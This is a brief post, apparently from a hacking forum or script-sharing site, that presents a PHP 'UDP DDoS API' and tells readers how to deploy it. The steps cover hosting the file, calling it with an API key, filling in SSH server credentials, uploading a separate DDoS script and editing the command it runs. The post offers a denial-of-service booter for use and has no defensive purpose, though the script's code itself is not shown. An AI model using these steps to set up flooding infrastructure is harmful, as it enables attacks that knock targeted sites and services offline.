UDP DDoS API Script [PHP]

This script was made for a DDoS API that I coded in a few hours with Trial and Error.
Save to webhosting as a PHP File; then go to the link and after the link type ?apikey=123456
Put your server details where it says Net_SSH2.
Upload your DDoS Script to the root of your server, and then at the top of the PHP Script $cmd, change it to how your scripts runs.
At the bottom, you can mess around with how it's setup.
